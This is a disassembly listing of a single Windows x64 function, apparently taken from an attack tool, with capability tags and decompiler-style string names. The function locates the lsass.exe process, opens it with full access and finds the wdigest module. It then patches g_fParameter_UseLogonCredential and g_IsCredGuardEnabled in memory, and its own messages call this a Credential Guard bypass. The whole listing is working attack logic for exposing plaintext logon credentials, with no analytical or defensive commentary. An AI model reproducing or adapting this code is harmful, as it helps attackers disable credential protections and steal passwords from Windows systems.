Function at 0x14004fd34
Capabilities:
Enumerate process modules
Enumerate processes

Disassembly:
jmp 0x140059d40
push rbp
push rdi
mov eax, 0x1d28
call fcn.14004fa50
sub rsp, rax
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x5be
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14013a908]
xor rax, rbp
mov qword [rbp + 0x1ce0], rax
lea rcx, [0x14014d1ad]
call fcn.1400529c1
mov dword [rbp + 0x50], 0x238
mov dword [rbp + 0x58], 0
xor edx, edx
mov ecx, 2
call fcn.140050b58
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x140059dbe
lea rcx, str.____Cred_Guard_bypass_failed:_impossible_to_get_snapshot_of_the_systems_processes__CreateToolhelp32Snapshot_
call fcn.140051549
mov eax, 1
jmp 0x14005a434
lea rdx, [rbp + 0x50]
mov rcx, qword [rbp + 8]
call fcn.1400512d8
test eax, eax
jne 0x140059def
lea rcx, str.____Cred_Guard_bypass_failed:_obtained_invalid_process_handle
call fcn.140051549
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x14005a434
lea rdx, str.lsass.exe
lea rcx, [rbp + 0x7c]
call fcn.140050c1b
test eax, eax
jne 0x140059e05
jmp 0x140059e16
lea rdx, [rbp + 0x50]
mov rcx, qword [rbp + 8]
call fcn.14005213d
test eax, eax
jne 0x140059def
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.lsass.exe
lea rcx, [rbp + 0x7c]
call fcn.140050c1b
test eax, eax
jne 0x140059e3a
cmp dword [rbp + 0x58], 0
jne 0x140059e50
lea rcx, str.____Cred_Guard_bypass_failed:_coudlnt_find_LSASS_process
call fcn.140051549
mov eax, 1
jmp 0x14005a434
mov r8d, dword [rbp + 0x58]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
je 0x140059e73
cmp qword [rbp + 0x28], 0xffffffffffffffff
jne 0x140059e91
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Cred_Guard_bypass_failed:_couldnt_open_lsass_memory__OpenProcess__error_code_0x_lx__n
call fcn.14004f249
mov eax, 1
jmp 0x14005a434
lea rax, [rbp + 0x2b0]
mov rdi, rax
xor eax, eax
mov ecx, 0x1000
rep stosb byte [rdi], al
lea r9, [rbp + 0x12c4]
mov r8d, 0x1000
lea rdx, [rbp + 0x2b0]
mov rcx, qword [rbp + 0x28]
call fcn.14004f514
test eax, eax
jne 0x140059eed
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Cred_Guard_bypass_failed:_couldnt_enumerate_lsass_loaded_modules__EnumProcessModules__error_code_0x_lx__n
call fcn.14004f249
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x14005a434
mov dword [rbp + 0x12e4], 0
mov dword [rbp + 0x1534], 0
jmp 0x140059f11
mov eax, dword [rbp + 0x1534]
inc eax
mov dword [rbp + 0x1534], eax
mov eax, dword [rbp + 0x1534]
mov qword [rbp + 0x1cd8], rax
mov ecx, dword [rbp + 0x12c4]
xor edx, edx
mov eax, ecx
mov ecx, 8
div rcx
mov rcx, qword [rbp + 0x1cd8]
cmp rcx, rax
jae 0x14005a424
mov eax, dword [rbp + 0x1534]
cmp qword [rbp + rax*8 + 0x2b0], 0
je 0x140059f99
mov eax, dword [rbp + 0x1534]
mov r9d, 0x104
lea r8, [rbp + 0x1310]
mov rdx, qword [rbp + rax*8 + 0x2b0]
mov rcx, qword [rbp + 0x28]
call fcn.1400508e2
test eax, eax
jne 0x140059f99
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rbp + 0x1534]
lea rcx, str.____Cred_Guard_bypass_non_fatal_error:_couldnt_get_module_name_for_module_at_index_0x_lx__GetModuleFileNameEx__error_code_0x_lx__n
call fcn.14004f249
jmp 0x140059f03
lea rdx, str.wdigest
lea rcx, [rbp + 0x1310]
call fcn.140050da1
test rax, rax
je 0x14005a41f
lea rax, [rbp + 0x1558]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov eax, dword [rbp + 0x1534]
cmp qword [rbp + rax*8 + 0x2b0], 0
je 0x14005a021
mov eax, dword [rbp + 0x1534]
mov r9d, 0x18
lea r8, [rbp + 0x1558]
mov rdx, qword [rbp + rax*8 + 0x2b0]
mov rcx, qword [rbp + 0x28]
call fcn.14005002c
test eax, eax
jne 0x14005a021
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rbp + 0x1534]
lea rcx, str.____Cred_Guard_bypass_non_fatal_error:_couldnt_get_module_information_for_module_at_index_0x_lx__GetModuleInformation__error_code_0x_lx__n
call fcn.14004f249
jmp 0x140059f03
mov rax, qword [rbp + 0x1558]
mov qword [rbp + 0x1588], rax
mov dword [rbp + 0x15a4], 0
mov dword [rbp + 0x15c4], 4
mov qword [rbp + 0x15e8], 0
mov qword [rbp + 0x1608], 0
mov rax, qword [0x14013c000]
mov rcx, qword [rbp + 0x1588]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x1628], rax
mov dword [rbp + 0x1644], 1
mov rdx, qword [rbp + 0x1628]
lea rcx, str.___Attempting_to_patch_wdigests_g_fParameter_UseLogonCredential_at_0x_I64x_n
call fcn.14004f249
mov eax, dword [rbp + 0x15c4]
lea rcx, [rbp + 0x15e8]
mov qword [rsp + 0x20], rcx
mov r9d, eax
lea r8, [rbp + 0x15a4]
mov rdx, qword [rbp + 0x1628]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x14005a0d6
mov edx, dword [rbp + 0x15a4]
lea rcx, str.___Found_wdigests_g_fParameter_UseLogonCredential_with_a_current_value_of_0x_lx_n
call fcn.14004f249
jmp 0x14005a0ef
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Cred_Guard_bypass_fatal_error:_couldnt_retrieve_wdigests_g_fParameter_UseLogonCredential_value__ReadProcessMemory__error_code_0x_lx_._An_overwrite_will_not_be_attempted._n
call fcn.14004f249
jmp 0x14005a424
mov eax, dword [rbp + 0x1644]
cmp dword [rbp + 0x15a4], eax
je 0x14005a1b4
lea rax, [rbp + 0x1608]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rbp + 0x1644]
mov rdx, qword [rbp + 0x1628]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14005a199
mov eax, dword [rbp + 0x15c4]
lea rcx, [rbp + 0x15e8]
mov qword [rsp + 0x20], rcx
mov r9d, eax
lea r8, [rbp + 0x15a4]
mov rdx, qword [rbp + 0x1628]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [rbp + 0x1644]
cmp dword [rbp + 0x15a4], eax
jne 0x14005a17e
mov edx, dword [rbp + 0x15a4]
lea rcx, str.___Successfully_overwrote_wdigests_g_fParameter_UseLogonCredential_value_to_0x_lx_n
call fcn.14004f249
jmp 0x14005a197
mov r8d, dword [rbp + 0x1644]
mov edx, dword [rbp + 0x15a4]
lea rcx, str.____Cred_Guard_bypass_fatal_error:_unsuccessful_overwrite_of_wdigests_g_fParameter_UseLogonCredential_value__current_value_0x_lx_instead_of_0x_lx__n
call fcn.14004f249
jmp 0x14005a1b2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Cred_Guard_bypass_fatal_error:_an_error_occurred_will_attempting_to_overwrite_wdigests_g_fParameter_UseLogonCredential_value__WriteProcessMemory__error_code_0x_lx__n
call fcn.14004f249
jmp 0x14005a424
jmp 0x14005a1c0
lea rcx, str.___wdigests_g_fParameter_UseLogonCredential_is_already_patched_
call fcn.140051549
lea rcx, [0x1401003a0]
call fcn.140051549
mov rax, qword [0x14013c008]
mov rcx, qword [rbp + 0x1588]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x1668], rax
mov dword [rbp + 0x1684], 0
mov dword [rbp + 0x15a4], 0
mov qword [rbp + 0x15e8], 0
mov qword [rbp + 0x1608], 0
mov dword [rbp + 0x16a4], 0
mov rdx, qword [rbp + 0x1668]
lea rcx, str.___Attempting_to_patch_wdigests_g_IsCredGuardEnabled_at_0x_I64x_n
call fcn.14004f249
lea rcx, str.___Attempting_to_set_wdigests_g_IsCredGuardEnabled_memory_protection_as_PAGE_READWRITE
call fcn.140051549
lea rax, [rbp + 0x16a4]
mov qword [rsp + 0x20], rax
mov r9d, 4
mov r8d, 4
mov rdx, qword [rbp + 0x1668]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x14005a280
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Cred_Guard_bypass_fatal_error:_Failed_to_set_wdigests_g_IsCredGuardEnabled_memory_protection_to_PAGE_READWRITE__VirtualProtectEx__error_code_0x_lx__n
call fcn.14004f249
jmp 0x14005a424
mov eax, dword [rbp + 0x15c4]
lea rcx, [rbp + 0x15e8]
mov qword [rsp + 0x20], rcx
mov r9d, eax
lea r8, [rbp + 0x15a4]
mov rdx, qword [rbp + 0x1668]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x14005a2c5
mov edx, dword [rbp + 0x15a4]
lea rcx, str.___Found_wdigests_g_IsCredGuardEnabled_with_a_current_value_of_0x_lx_n
call fcn.14004f249
jmp 0x14005a2de
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Cred_Guard_bypass_fatal_error:_couldnt_retrieve_wdigests_g_IsCredGuardEnabled_value__ReadProcessMemory__error_code_0x_lx_._An_overwrite_will_not_be_attempted._n
call fcn.14004f249
jmp 0x14005a424
mov eax, dword [rbp + 0x1684]
cmp dword [rbp + 0x15a4], eax
je 0x14005a3a3
lea rax, [rbp + 0x1608]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rbp + 0x1684]
mov rdx, qword [rbp + 0x1668]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14005a388
mov eax, dword [rbp + 0x15c4]
lea rcx, [rbp + 0x15e8]
mov qword [rsp + 0x20], rcx
mov r9d, eax
lea r8, [rbp + 0x15a4]
mov rdx, qword [rbp + 0x1668]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [rbp + 0x1684]
cmp dword [rbp + 0x15a4], eax
jne 0x14005a36d
mov edx, dword [rbp + 0x15a4]
lea rcx, str.___Successfully_overwrote_wdigests_g_IsCredGuardEnabled_value_to_0x_lx_n
call fcn.14004f249
jmp 0x14005a386
mov r8d, dword [rbp + 0x1684]
mov edx, dword [rbp + 0x15a4]
lea rcx, str.____Cred_Guard_bypass_fatal_error:_unsuccessful_overwrite_of_wdigests_g_IsCredGuardEnabled_value__current_value_0x_lx_instead_of_0x_lx__n
call fcn.14004f249
jmp 0x14005a3a1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Cred_Guard_bypass_fatal_error:_an_error_occurred_will_attempting_to_overwrite_wdigests_g_IsCredGuardEnabled_value__WriteProcessMemory__error_code_0x_lx__n
call fcn.14004f249
jmp 0x14005a424
jmp 0x14005a3af
lea rcx, str.___wdigests_g_IsCredGuardEnabled_is_already_patched_
call fcn.140051549
mov dword [rbp + 0x16c4], 0
lea rax, [rbp + 0x16c4]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x16a4]
mov r8d, 4
mov rdx, qword [rbp + 0x1668]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x14005a3fd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Cred_Guard_bypass_non_fatal_error:_Failed_to_restore_wdigests_g_IsCredGuardEnabled_memory_protection_to_its_original_value__VirtualProtectEx__error_code_0x_lx__n
call fcn.14004f249
jmp 0x14005a409
lea rcx, str.___Successfully_restored_wdigests_g_IsCredGuardEnabled_memory_protection_to_its_original_value
call fcn.140051549
lea rcx, [0x1401003a0]
call fcn.140051549
mov dword [rbp + 0x12e4], 1
jmp 0x140059f03
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 0x12e4]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140102d10]
call fcn.140051f80
mov rax, rdi
mov rcx, qword [rbp + 0x1ce0]
xor rcx, rbp
call fcn.140050bd0
lea rsp, [rbp + 0x1cf8]
pop rdi
pop rbp
ret